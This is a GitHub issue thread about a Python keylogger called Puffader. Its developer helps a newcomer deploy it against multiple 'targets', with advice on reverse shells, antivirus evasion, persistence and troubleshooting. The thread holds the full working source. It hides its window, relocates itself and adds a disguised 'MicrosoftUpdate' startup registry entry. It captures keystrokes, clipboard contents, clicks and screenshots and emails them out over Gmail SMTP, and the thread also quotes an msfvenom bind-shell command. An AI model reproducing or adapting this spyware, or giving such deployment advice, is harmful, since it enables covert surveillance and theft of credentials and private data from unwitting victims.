Closed kingexplosionMurder closed 5 years ago
Puffader will still work without meterpreter plugin.
Wrong issue, ignore that reference. If you want help including the meterpreter plugin, just ask.
If the keylogger is running, then it will still send logs.
NOTE: On Github you can edit your messages.
Alright, Sorry I’m a bit new to this. So what is the use of the meterpreter plug in? And after following all of the instructions and creating the keylogger along with the meterpreter plug in, and I shut down my laptop, will I still receive the logs in the mail?
Also I generated the Shellcode using the commands you suggested in another issue, I copied it into the base64encoder .
So what I want to know is do I need to use setup.py to generate another exe file or do I encode it before generating the exe.
Also will the standalone puffader without meterpreter plug-in be detected by AV?
The point of the meterpreter plugin is if you want to be able to open a reverse shell. It is optional. If you shut down your computer you will still receive logs. Once you edit the file with the meterpreter plugin code, you can then use the setup.py to generate it. Either way it should be undetectable.
Alright! More questions, can one exe file be used for multiple targets. If yes, will it be specified in the logs to show it is from a particular target?
It can be used for multiple targets. If you look in the email subject, you will see the IP and computer name.
Okay , So the clipboard data and clicks along with the keystrokes will be in the email also, yeah?
Also what is the final size of the exe file? I’m getting about 12.9MB which is kinda much.
Also what is the other w9xpopen.exe file in the dist folder ?
If you enable clipboard logging and clicks it will. Unfortunately there is nothing I can do about the file size since this is python which requires the interpreter and all modules to be bundled with it. Ignore the w9xpopen.exe, you can delete it.
Okay great Another thing, Will the keylogger still work when turned on if the target shuts down or restarts.
If you have the option add to startup set to true it will.
Alright! So I just tried it out and the keystrokes were sent in , but no clipboard data or screenshots . No clicks also, what format will the mouse clicks come as?
They come as txt format, you can show me your setup lines to make sure that you enabled all the options correctly?
import smtplib, time, os, threading, sys, subprocess, pythoncom, pyHook, pyscreeze
import win32console, win32gui, win32event, win32api, winerror, win32clipboard
from sys import exit; from urllib2 import urlopen; from shutil import copyfile
from email.MIMEMultipart import MIMEMultipart; from email.MIMEImage import MIMEImage; from _winreg import *
from pyHook import GetKeyState, HookConstants
strEmailAc = "xxxx@gmail.com"
strEmailPass = "xxxxx"
intCharPerSend = 1000 # set num of chars before send log/store
blnUseTime = "True" # if you prefer to use a timer to send/save logs, set this to True
intTimePerSend = 120 # set how often to send/save logs in seconds
blnStoreLocal = "False" # True to save logs/screens locally
strLogFile = "" # set non-protected path to text file eg. c:/temp/test.txt
blnScrShot = "True" # set to True for capturing screenshots
strScrDir = "" # set non-protected dir for scrshot location if storing locally. eg c:/temp
intScrTime = 120 # set time for taking screen in seconds
blnLogClick = "True" # for logging window clicks
blnAddToStartup = "True"
blnLogClipboard = "True"
blnMelt = "True"
# variables/constants
TMP = os.environ["TEMP"]
APPDATA = os.environ["APPDATA"]
cPuffDir = TMP + "/microsoft_data_dir"
strLogPath = cPuffDir + "/microsoft_log.txt"
blnFirstSend = "True"
intLogChars = 0
def hide():
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)
return True
# hide window as new thread. Necessary in order to define timer used later
objTimer = threading.Timer(0, hide); objTimer.start()
# function to prevent multiple instances
mutex = win32event.CreateMutex(None, 1, "PA_mutex_xp4")
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
mutex = None
exit()
def GetExIp(): # function to get external ip
global strExIP
try:
strExIP = urlopen("http://ident.me").read().decode('utf8')
except:
strExIP = "?"
# obj defined for later use for screenshot timer
objTimer2 = threading.Timer(0, GetExIp); objTimer2.start()
def melt():
strNewFile = TMP + "\\" + os.path.basename(sys.argv[0])
if not os.getcwd() == TMP: # if the current dir is not temp
subprocess.Popen("ping 1.1.1.1 -n 1 & move /y " + os.path.realpath(sys.argv[0]) + " " + # move file to TMP and then relaunch
strNewFile + " & cd /d " + TMP + " & " + strNewFile , shell=True)
exit(0)
if blnMelt == "True":
melt()
def AddToStartup():
try:
strPath = os.path.realpath(sys.argv[0])
strAppPath = APPDATA + "\\" + os.path.basename(strPath)
copyfile(strPath, strAppPath)
objRegKey = OpenKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_ALL_ACCESS)
SetValueEx(objRegKey, "MicrosoftUpdate", 0, REG_SZ, strAppPath); CloseKey(objRegKey)
except: # if the program is already added to startup
pass
if blnAddToStartup == "True":
AddToStartup()
def MonitorClipboard(): # Function to get clipboard data
global strLogs
try: # check to see if variable is defined
strLogs
except NameError:
strLogs = ""
strClipDataOld = ""
while True:
try:
win32clipboard.OpenClipboard() # open clipboard
strClipData = win32clipboard.GetClipboardData() # get data
win32clipboard.CloseClipboard()
except: # if the contents are not supported
strClipData = ""
if strClipData != strClipDataOld and strClipData != "":
strLogs += "\n" + "\n" + "* * * * * * Clipboard * * * * * *" + "\n" + strClipData + "\n" + \
"* * * * * * Clipboard * * * * * *" + "\n" + "\n"
strClipDataOld = strClipData
time.sleep(3) # check every 3 seconds
if blnLogClipboard == "True": # if the user wants to capture clipboard data
ClipboardThread = threading.Thread(target=MonitorClipboard)
ClipboardThread.daemon = True
ClipboardThread.start()
def OnKeyboardEvent(event):
global strLogs, objTimer, intLogChars, objTimer2
try: # check to see if variable is defined
strLogs
except NameError:
strLogs = ""
def SendMessages(strLogs, strEmailAc, strEmailPass, strExIP):
global blnFirstSend # easier to just define this variable to be global within the functions
try:
if blnFirstSend == "True":
strMessage = "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n"
blnFirstSend = "False"
else: strMessage = ""
if os.path.isfile(strLogPath): # if there are old logs that need to be sent, add them to message
objFile = open(strLogPath, "r")
strOldLogs = objFile.read()
objFile.close()
strMessage += strOldLogs + strLogs
os.remove(strLogPath) # delete old log file
else:
strMessage += strLogs
strEmail = "Subject: {}\n\n{}".format("New Keylogger Logs From " + strExIP, strMessage)
SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465)
SmtpServer.ehlo() # identifies you to the smtp server
SmtpServer.login(strEmailAc, strEmailPass)
SmtpServer.sendmail(strEmailAc, strEmailAc, strEmail)
SmtpServer.close()
except: # if the logs cannot be sent, save them to txt file to try again later
if not os.path.isdir(cPuffDir): # if the screen dir doesnt exist, create it
os.makedirs(cPuffDir)
subprocess.Popen(["attrib", "+H", cPuffDir]) # make folder hidden
if not os.path.isfile(strLogPath):
objFile = open(strLogPath, "w")
else:
objFile = open(strLogPath, "a")
objFile.write(strMessage)
objFile.close()
def StoreMessagesLocal(strLogs):
global blnFirstSend
# log keys locally
if os.path.isfile(strLogFile):
objLogFile = open(strLogFile, 'a')
else:
objLogFile = open(strLogFile, 'w')
if blnFirstSend == "True":
objLogFile.write("\n" + "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
blnFirstSend = "False"
objLogFile.write(strLogs)
objLogFile.close()
def CreateNewThreadMessages(): # function for creating thread for sending messages
if not strLogs == "":
if blnStoreLocal == "True":
StoreLogThread = threading.Thread(target=StoreMessagesLocal, args=[strLogs])
StoreLogThread.daemon = True
StoreLogThread.start()
else:
SendMailThread = threading.Thread(target=SendMessages, args=([strLogs, strEmailAc, strEmailPass, strExIP]))
SendMailThread.daemon = True
SendMailThread.start()
def SendScreen(): # function to send screens (easier to do this as a new function)
try:
objMsg = MIMEMultipart()
objMsg["Subject"] = "New Screenshot From " + strExIP
for strScrPath in os.listdir(cPuffDir): # add files to the message
strScrFullPath = cPuffDir + "/" + strScrPath
img = MIMEImage(file(strScrFullPath, "rb").read())
img.add_header('Content-Disposition', 'attachment', filename=strScrPath)
objMsg.attach(img)
SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465); SmtpServer.ehlo()
SmtpServer.login(strEmailAc, strEmailPass)
SmtpServer.sendmail(strEmailAc, strEmailAc, objMsg.as_string())
SmtpServer.close()
except: # if the screen cannot send, pass and try again later
pass
else:
for strScrPath in os.listdir(cPuffDir):
os.remove(cPuffDir + "/" + strScrPath) # if the screenshot(s) sent successfully, remove them
def TakeScr(): # function to take screenshot
if blnStoreLocal == "True":
threading.Thread(pyscreeze.screenshot().save(time.strftime(strScrDir + "/%Y%m%d%H%M%S" + ".png"))).start()
else:
if not os.path.isdir(cPuffDir): # if the screen dir doesnt exist, create it
os.makedirs(cPuffDir)
subprocess.Popen(["attrib", "+H", cPuffDir]) # make folder hidden
strScrPath = time.strftime(cPuffDir + "/%Y%m%d%H%M%S" + ".png") # save screenshot with datetime format
threading.Thread(pyscreeze.screenshot().save(strScrPath)).start()
SendScreenThread = threading.Thread(target=SendScreen)
SendScreenThread.daemon = True
SendScreenThread.start()
# ctrl Lshift, rshift, h to stop program
if GetKeyState(HookConstants.VKeyToID("VK_CONTROL")) and GetKeyState(HookConstants.VKeyToID("VK_RSHIFT")) and \
GetKeyState(HookConstants.VKeyToID("VK_LSHIFT")) and HookConstants.IDToName(event.KeyID) == "H":
exit(0)
if event.Ascii == 8:
strLogs = strLogs + " [Bck] "
elif event.Ascii == 9:
strLogs = strLogs + " [Tab] "
elif event.Ascii == 13:
strLogs = strLogs + "\n"
elif event.Ascii == 0: # if the key is a special key such as alt, win, etc. Pass
pass
else:
intLogChars += 1
strLogs = strLogs + chr(event.Ascii)
if blnUseTime == "True": # if the user is sending messages by timer
if not objTimer.is_alive(): # check to see if the timer is not active
objTimer = threading.Timer(intTimePerSend, CreateNewThreadMessages)
objTimer.daemon = True
objTimer.start()
strLogs = ""; intLogChars = 0
else:
if intLogChars >= intCharPerSend: # send/save message if log is certain length
CreateNewThreadMessages()
strLogs = ""; intLogChars = 0
if blnScrShot == "True": # if the user is capturing screenshots
if not objTimer2.is_alive():
objTimer2 = threading.Timer(intScrTime, TakeScr)
objTimer2.daemon = True
objTimer2.start()
return True # return True to pass key to windows
def OnMouseEvent(event): # when the mouse is clicked
global strLogs
try:
strLogs
except NameError:
strLogs = ""
if not str(event.WindowName) == "None": # log window name and time
strLogs = strLogs + "\n" + "["+time.ctime().split(" ")[3] + "] " + event.WindowName + "\n" + "====================" + "\n"
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
if blnLogClick == "True":
hooks_manager.MouseLeftDown = OnMouseEvent
hooks_manager.HookMouse()
pythoncom.PumpMessages()
thats basically all i did, i edited the first few lines and added the email and password, also chose email over storing locally, excluded the meterpreter plug in also.
Also the target used the computer on the internet and still no keystrokes received, checked the task manager and puffader is still running. But I haven’t received any keystrokes.
Or could it be due to having multiple exe with the same email address and password to all of them?
It should work. Did you make sure to install all modules.
Try changing the melt to false, that might be the problem.
All the modules were installed correctly, using cmd though.
So melt to false it is. But the exe won’t disappear on execution if set to false, right?
Yeah. Actually I think the problem isn't that, it might be because you are using a timer, try setting it to false.
Alright , so if I set the timer to false it will send when the characters hit 1000 right?
Yeah.
I’ll get back to you after I test it out.
Any update on this.
@xp4xbox Its not sending me emails. Is it still working? I can still see logs and screenshots in my temp folder
Anyway, great work with this repo.
@xp4xbox Ok, my bad, i set the save to local option
OS [Windows 10]
After converting the puffader.py to .exe using setup.py , I found it in the dist folder. I generated the raw Shellcode on command prompt using
msfvenom.bat -f python -x86 -platform windows -p python/shell_bind_tcp
And then I got the payload size and in python and a long list of raw Shellcode, which I don’t know what to do with next. I’m currently stuck here.
And can the puffader.exe work without the meterpreter plug-in?
And I also can’t get the base64 Shellcode to generate or I don’t know how to
Also does it still send the logs to the email even after the attacker shuts down.
@xp4xbox